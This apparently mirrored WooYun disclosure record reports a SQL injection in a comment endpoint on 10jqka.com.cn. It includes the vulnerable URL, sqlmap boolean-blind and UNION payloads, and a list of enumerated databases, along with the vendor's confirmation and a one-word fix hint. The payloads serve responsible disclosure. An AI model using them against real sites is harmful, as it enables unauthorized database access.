乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2016-03-28: 细节已通知厂商并且等待厂商处理中 2016-03-28: 厂商已经确认,细节仅向厂商公开 2016-04-07: 细节向核心白帽子及相关领域专家公开 2016-04-17: 细节向普通白帽子公开 2016-04-27: 细节向实习白帽子公开 2016-05-12: 细节向公众公开
。。。
注入点 http://comment.10jqka.com.cn/comment_v2.php?seq=1970*&startnum=0&getnum=5&jsoncallback=jQuery17207547062449157238_1459159739394&type=hot&_=1459159739435 注入参数 seq支持union数据读取非常快
sqlmap identified the following injection point(s) with a total of 38 HTTP(s) requests:---Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://comment.10jqka.com.cn:80/comment_v2.php?seq=1970 AND 5328=5328&startnum=0&getnum=5&jsoncallback=jQuery17207547062449157238_1459159739394&type=hot&_=1459159739435 Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: http://comment.10jqka.com.cn:80/comment_v2.php?seq=1970 UNION ALL SELECT CONCAT(0x716a627171,0x5344664f67597a7345736d66586e6458516172496f72736672444b644455667852676155466f6955,0x7178707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&startnum=0&getnum=5&jsoncallback=jQuery17207547062449157238_1459159739394&type=hot&_=1459159739435---back-end DBMS: MySQL >= 5.0.0sqlmap resumed the following injection point(s) from stored session:---Parameter: #1* (URI) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: http://comment.10jqka.com.cn:80/comment_v2.php?seq=1970 AND 5328=5328&startnum=0&getnum=5&jsoncallback=jQuery17207547062449157238_1459159739394&type=hot&_=1459159739435 Type: UNION query Title: Generic UNION query (NULL) - 12 columns Payload: http://comment.10jqka.com.cn:80/comment_v2.php?seq=1970 UNION ALL SELECT CONCAT(0x716a627171,0x5344664f67597a7345736d66586e6458516172496f72736672444b644455667852676155466f6955,0x7178707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&startnum=0&getnum=5&jsoncallback=jQuery17207547062449157238_1459159739394&type=hot&_=1459159739435---back-end DBMS: MySQL >= 5.0.0available databases [3]:[*] information_schema[*] newnews[*] test
intval
危害等级:高
漏洞Rank:15
确认时间:2016-03-28 19:07
漏洞已确认,正在进行处理,谢谢。
暂无